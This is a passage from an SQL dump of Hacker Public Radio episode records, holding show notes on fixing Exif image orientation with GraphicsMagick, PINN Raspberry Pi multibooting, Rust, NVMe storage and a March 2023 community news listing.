src=\"https://hackerpublicradio.org/eps/hpr3564/P1020743_6_stripped_tn.JPG\" alt=\"Same image with Exif stripped\" /></p>\r\n<h3 id=\"methods-used-to-fix-this\">Methods used to fix this</h3>\r\n<p>I found and installed some tools:</p>\r\n<ul>\r\n<li><code>jpegexiforient</code> - reads or writes the Exif Orientation Tag</li>\r\n<li><code>exifautotran</code> - transforms Exif files so that Orientation becomes 1</li>\r\n<li><code>jpegtran</code> - lossless transformation of JPEG files</li>\r\n</ul>\r\n<p>Note that these only operate on JPEG images.</p>\r\n<p>The <code>exifautotran</code> tool is a shell script that uses <code>jpegexiforient</code> to find the orientation and <code>jpegtran</code> to undo whatever rotation (or other transformation) has been defined.</p>\r\n<p>Reading the <code>exifautotran</code> script helped me understand all of this, but I did not use these tools in the end.</p>\r\n<p>In the script I had written to manage images I also needed to do other image operations:</p>\r\n<ul>\r\n<li>interrogate the image to find its size to determine whether a thumbnail was needed</li>\r\n<li>make a thumbnail if necessary</li>\r\n</ul>\r\n<p>To do this I had started to use the <code>GraphicsMagick</code> package.</p>\r\n<p>This package actually caters for the orientation transformation I wanted to perform <u>and</u> can handle many image types, not just JPEG.</p>\r\n<p>The technique is to use the command <code>\'gm convert\'</code> with two options:</p>\r\n<ul>\r\n<li><code>-strip</code> - remove all profiles and text attributes from the image</li>\r\n<li><code>-auto-orient</code> - orient (rotate) the image so it is upright; adjusts the image orientation so that it is suitable for viewing</li>\r\n</ul>\r\n<p>Example:</p>\r\n<pre><code>gm convert -strip -auto-orient sideways_pic.jpg normal_pic.jpg\r\n\r\n</code></pre>\r\n<p>Running this on the images in question removed the Exif orientation after having rotated the pixels of the image to the <code>\'Horizontal (normal)\'</code> state.</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>I have modified my picture management script to use this technique, and so far it seems to do the job perfectly. It has to be admitted that images with Exif orientation metadata are rare though.</p>\r\n<p>The <code>GraphicsMagick</code> documentation indicates that the transformations needed to generate an upright image could cause problems with some images, so we will be alert to any issues. For the moment, it looks as if the problem is largely solved.</p>\r\n<p>Personally, I gained several things from this journey of discovery:</p>\r\n<ul>\r\n<li>I ended up understanding images a bit better.</li>\r\n<li>Using <code>exiftool</code> to examine these images helped me to understand the power of this tool<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>.</li>\r\n<li>I also discovered that if opened the example image with <code>Gimp</code> it spotted the orientation issue and asked if I wanted it to perform the transformation discussed above.</li>\r\n<li>I installed a KDE image tool called <code>ShowFoto</code> and it also reported the fact that the image existed in two forms, in the same way, and allowed Exif editing.</li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Exif:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Exif\">Wikipedia article about Exif</a></li>\r\n<li><a href=\"https://www.exiftool.org/\">ExifTool by Phil Harvey</a>\r\n<ul>\r\n<li><a href=\"https://www.exiftool.org/TagNames/EXIF.html\">EXIF tag names</a></li>\r\n</ul></li>\r\n<li><a href=\"https://github.com/recurser/exif-orientation-examples\">Github repository of Exif orientation examples</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>GraphicsMagick:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GraphicsMagick\">Wikipedia article about GraphicsMagick</a></li>\r\n<li><a href=\"https://www.graphicsmagick.org/\">GraphicsMagick main website</a></li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\" role=\"doc-endnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\" role=\"doc-endnote\"><p>For the record, removing all Exif data with <code>exiftool</code> is achieved with the command:</p>\r\n<pre><code>exiftool -all= image.jpg</code></pre>\r\n<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></li>\r\n</ol>\r\n</section>\r\n',225,0,1,'CC-BY-SA','image,Exif,exiftool,GraphicsMagick,orientation',0,0,1),
(3579,'2022-04-21','PINN is not NOOBS',650,'Multibooting raspberry pi','<h3 id=\"multiboot-with-pinn\">Multiboot with PINN</h3>\r\n<p><a href=\"https://github.com/procount/pinn/blob/master/README_PINN.md\" class=\"uri\">https://github.com/procount/pinn/blob/master/README_PINN.md</a></p>\r\n<blockquote>\r\n<p>What is PINN (PINN Is Not NOOBS)?</p>\r\n<p>An easy enhanced Operating System installer for the Raspberry Pi</p>\r\n<p>The latest version of PINN can be downloaded from sourceforge.</p>\r\n<p>This README relates to v3.8</p>\r\n<p>(PINN-lite does not include any operating systems at all.</p>\r\n<p>It is more akin to NOOBS-lite rather than NOOBS. For that reason, the filename that you download is called pinn-lite.zip. More recently, pinn.zip has also been made available for download which includes versions of Raspbian and LibreELEC.)</p>\r\n</blockquote>\r\n<h4 id=\"sourceforge\">Sourceforge</h4>\r\n<p><a href=\"https://sourceforge.net/projects/pinn/\" class=\"uri\">https://sourceforge.net/projects/pinn/</a></p>\r\n<h4 id=\"github\">Github</h4>\r\n<p><a href=\"https://github.com/procount/pinn\" class=\"uri\">https://github.com/procount/pinn</a></p>\r\n<ul>\r\n<li><h5 id=\"release-page\">Release page</h5>\r\n<ul>\r\n<li><a href=\"https://github.com/procount/pinn/releases/tag/p3.8.1\" class=\"uri\">https://github.com/procount/pinn/releases/tag/p3.8.1</a></li>\r\n</ul></li>\r\n</ul>\r\n<h4 id=\"web-ui-for-pinn\">Web UI for PINN</h4>\r\n<p><a href=\"https://pinn.mjh.nz/\" class=\"uri\">https://pinn.mjh.nz/</a></p>\r\n<ul>\r\n<li><h5 id=\"instructions\">Instructions</h5></li>\r\n</ul>\r\n<blockquote>\r\n<p>Unzip pinn-lite.zip</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Replace recovery.cmdline file in PINN directory with downloaded file</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Copy the contents of the PINN directory to your FAT32 formatted media</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Boot your Raspberry Pi</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Select all systems and install</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Enjoy!</p>\r\n</blockquote>\r\n<p><em>Installation instructions</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3579/image_005.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3579/image_005_thumbnail.png\" alt=\"Installation instructions\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><a href=\"https://www.youtube.com/watch?v=tc2dSMiUfmI&amp;t=171s\" class=\"uri\">https://www.youtube.com/watch?v=tc2dSMiUfmI&amp;t=171s</a></p>\r\n<h4 id=\"raspberry-pi-os-64-bit-release-news\">Raspberry Pi OS 64-bit release news</h4>\r\n<p><a href=\"https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/\" class=\"uri\">https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/</a></p>\r\n<ul>\r\n<li><h5 id=\"downloads\">Downloads</h5>\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.com/software/operating-systems/\" class=\"uri\">https://www.raspberrypi.com/software/operating-systems/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p><em>OS installation selection</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_001.jpg\" alt=\"OS installation selection\" /></p>\r\n<p><em>Installing RetroPie</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_002.jpg\" alt=\"Installing RetroPie\" /></p>\r\n<p><em>Installing Kodi/OSMC</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_003.jpg\" alt=\"Installing Kodi/OSMC\" /></p>\r\n<p><em>Boot selection menu</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_004.jpg\" alt=\"Boot selection menu\" /></p>\r\n',318,0,0,'CC-BY-SA','Raspberry Pi, 64 bit, multiboot, Retropie, Kodi',0,0,1),
(3569,'2022-04-07','Linux Inlaws S01E53: Rust Marketing',2661,'A shameless plug for this hippster programming language and why you should use it','<p>In this episode our two heroes explore the depths a new (?) hipster\r\nprogramming language called Rust. Being an obvious piece of blatant technology\r\nmarketing, the Linux Inlaws are still waiting for the funds to arrive from the\r\nRust Foundation :-) (@Foundation: If you want to get in touch please send\r\na mail to sponsor at linuxinlaws eu). Jokes aside, the episode give a short\r\noverview of this new programming language without going into deeper technical\r\ndetails as this podcast is only the usual four hours long.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Rust: <a href=\"https://en.wikipedia.org/wiki/Rust\" target=_blank>https://en.wikipedia.org/wiki/Rust</a></li>\r\n<li>Rust (II): <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Firefox and Rust: <a href=\"https://servo.org\" target=_blank>https://servo.org</a></li>\r\n<li>Rust on TIOBE: <a href=\"https://www.tiobe.com/tiobe-index/rust\" target=_blank>https://www.tiobe.com/tiobe-index/rust</a></li>\r\n<li>Rust adoption: <a href=\"https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021\" target=_blank>https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021</a></li>\r\n<li>Bottlerocket: <a href=\"https://aws.amazon.com/bottlerocket/\" target=_blank>https://aws.amazon.com/bottlerocket/</a></li>\r\n<li>Rust Foundation: <a href=\"https://foundation.rust-lang.org\" target=_blank>https://foundation.rust-lang.org</a></li>\r\n<li>Cargo (Rust\'s package management and build system): <a href=\"https://doc.rust-lang.org/cargo\" target=_blank>https://doc.rust-lang.org/cargo</a></li>\r\n<li>Rust\'s Crates: <a href=\"https://crates.io\" target=_blank>https://crates.io</a></li>\r\n<li>D-Wave\'s quantum machines: <a href=\"https://www.dwavesys.com/solutions-and-products/systems\" target=_blank>https://www.dwavesys.com/solutions-and-products/systems</a></li>\r\n<li>Grumpies: <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Rust, The Rust Foundation, Firefox, D-Wave, Cargo',0,0,1),
(3568,'2022-04-06','PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy',899,'in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming','<h1>Talking Points</h1>\r\n<ul>\r\n	<li>Any audio is better than no audio?</li>\r\n	<li>Mathematics = Logic</li>\r\n	<li>ZFC Axioms show logical structure</li>\r\n	<li>Peano Axioms illustrating this point</li>\r\n	<li>Euclid\'s Axioms showing how just because something is logical doesn\'t mean that has anything to do with reality</li>\r\n	<li>x86 Instruction set showing the axiomatic basis of programming</li>\r\n	<li>Asymmetric Literacy in Chinese languages.</li>\r\n	<li>NOTE: This section is slightly incorrect in that there is a separate written form for Cantonese as well, but I hope that the main idea is still intelligible.</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h1>Show Notes</h1>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n	<li><a href=\"https://nixnet.social/notice/AHe409EDWjWtFgnYIa\">Relevant Mastodon Status</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Zermelo%E2%80%93Fraenkel_set_theory\">ZFC set theory</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Von_Neumann%E2%80%93Bernays%E2%80%93G%C3%B6del_set_theory\">Von Neumann-Bernays-G&ouml;del set theory</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Peano_axioms\">Peano axioms</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms\">Euclid\'s axioms</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Parallel_postulate#Equivalent_properties\">Equivalent Axioms to the 5th postulate (Number 8 is rectangles exist)</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/X86_instruction_listings\">x86 Instruction Listings</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Written_Chinese\">Written Chinese</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Cantonese\">Cantonese</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Mandarin_Chinese\">Mandarin Chinese</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Written_Cantonese\">Written Cantonese</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,0,'CC-BY-SA','improv, math, popkorn, programming, language',0,0,1),
(3571,'2022-04-11','The Meatball Mystery',512,'A naming oddity leads to questions about geneaology and American history','<p>Discussing the interesting oddity that is the meatball; its origins, and some misconceptions and coincidences surrounding the tasty \"traditional\" dish of spaghetti and meatballs.</p>\r\n<p>Historical context and explanations were provided by the article \"<a href=\"https://www.smithsonianmag.com/arts-culture/is-spaghetti-and-meatballs-italian-94819690/\">Is Spaghetti and Meatballs Italian?</a>\" by <a href=\"https://www.smithsonianmag.com/author/shaylyn-esposito/\">Shaylyn Esposito</a>, published in <a href=\"https://www.smithsonianmag.com\">Smithsonian Magazine</a>.</p>',196,0,1,'CC-BY-SA','cuisine, food, genealogy',0,0,1),
(3572,'2022-04-12','More about NVMe',1142,'Who what when and were of NVMe','<p><a href=\"https://www.pcworld.com/article/432532/everything-you-need-to-know-about-nvme.html\" class=\"uri\">NVMe SSDs: Everything you need to know about this insanely fast storage</a></p>\r\n\r\n<p>\r\nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer\'s non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices<br />\r\n<a href=\"https://en.wikipedia.org/wiki/NVM_Express\">https://en.wikipedia.org/wiki/NVM_Express</a>\r\n</p>\r\n\r\n\r\n',129,0,0,'CC-BY-SA','ssd,NVME Storage,high performance',0,0,1),
(3567,'2022-04-05','What is NVMe™ and why is it important?',1020,'A short Podcast about NVMe how it works and it is good','<p><a href=\"https://blog.westerndigital.com/nvme-important-data-driven-businesses/\" class=\"uri\">https://blog.westerndigital.com/nvme-important-data-driven-businesses/</a></p>\r\n\r\n<p>\r\nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer\'s non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices<br />\r\n<a href=\"https://en.wikipedia.org/wiki/NVM_Express\">https://en.wikipedia.org/wiki/NVM_Express</a>\r\n</p>\r\n\r\n',129,0,0,'CC-BY-SA','ssd,NVME Storage,high performance',0,0,1),
(3826,'2023-04-03','HPR Community News for March 2023',5070,'HPR Volunteers talk about shows released and comments posted in March 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3803\" target=\"_blank\">3803</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3803\" target=\"_blank\">Chatbot hallucination</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3804\" target=\"_blank\">3804</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3804\" target=\"_blank\">2022-2023 New Years Show Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3805\" target=\"_blank\">3805</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3805\" target=\"_blank\">Document File Formats on Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3806\" target=\"_blank\">3806</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3806\" target=\"_blank\">HPR Community News for February 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3807\" target=\"_blank\">3807</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3807\" target=\"_blank\">PeePaw builds a computer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3808\" target=\"_blank\">3808</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3808\" target=\"_blank\">Funkwhale A social platform to enjoy and share music</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3809\" target=\"_blank\">3809</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3809\" target=\"_blank\">The Abominable Post Apocalyptic Podcast Player</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3810\" target=\"_blank\">3810</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3810\" target=\"_blank\">Clifton, Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3811\" target=\"_blank\">3811</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3811\" target=\"_blank\">mkfifo and named pipes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3812\" target=\"_blank\">3812</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3812\" target=\"_blank\">PeePaw\'s computer does nothing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3813\" target=\"_blank\">3813</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3813\" target=\"_blank\">The postmarketOS Podcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3814\" target=\"_blank\">3814</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3814\" target=\"_blank\">2022-2023 New Years Show Episode 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3815\" target=\"_blank\">3815</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3815\" target=\"_blank\">The UNIVAC Uniscope - The first terminal with a video monitor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3816\" target=\"_blank\">3816</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3816\" target=\"_blank\">Post Apocalyptic 4s5 Battery Pack  </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3817\" target=\"_blank\">3817</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3817\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3818\" target=\"_blank\">3818</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3818\" target=\"_blank\">nop test redux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3819\" target=\"_blank\">3819</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3819\" target=\"_blank\">Remapping Mouse Buttons with XBindKeys on Linux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3820\" target=\"_blank\">3820</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3820\" target=\"_blank\">Introduction to Gaming</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3821\" target=\"_blank\">3821</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3821\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3822\" target=\"_blank\">3822</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3822\" target=\"_blank\">A tale of wonder, angst and woe</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3823\" target=\"_blank\">3823</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3823\" target=\"_blank\">Gitlab Pages for website hosting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3824\" target=\"_blank\">3824</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3824\" target=\"_blank\">2022-2023 New Years Show Episode 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3825\" target=\"_blank\">3825</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3825\" target=\"_blank\">Creating a natural aquarium</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3434#comments\" target=\"_blank\">hpr3434</a></strong>\n(2021-09-30) \"<em>From 0 to K8s in 30 minutes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3434#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2023-03-24:\n\"Built a cluster in a rack\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751#comments\" target=\"_blank\">hpr3751</a></strong>\n(2022-12-19) \"<em>Using Noisetorch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3751#2\" target=\"_blank\">Comment 2</a>:\nReto on 2023-03-28:\n\"Noisetorch, the second choice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3761#comments\" target=\"_blank\">hpr3761</a></strong>\n(2023-01-02) \"<em>HPR Community News for December 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3761#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-03-16:\n\"Travel journals\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3794#comments\" target=\"_blank\">hpr3794</a></strong>\n(2023-02-16) \"<em>Retro Karaoke machine restored</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3794#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-03-01:\n\"tape cassettes\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3794#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2023-03-14:\n\"Obsolete Audio Devices Rule\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3802#comments\" target=\"_blank\">hpr3802</a></strong>\n(2023-02-28) \"<em>Attack of the Squishmallow</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3802#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-03-18:\n\"Impressive undertaking\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 23 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3803#comments\" target=\"_blank\">hpr3803</a></strong>\n(2023-03-01) \"<em>Chatbot hallucination</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3803#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-27:\n\"The Inverted Rabbit\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3806#comments\" 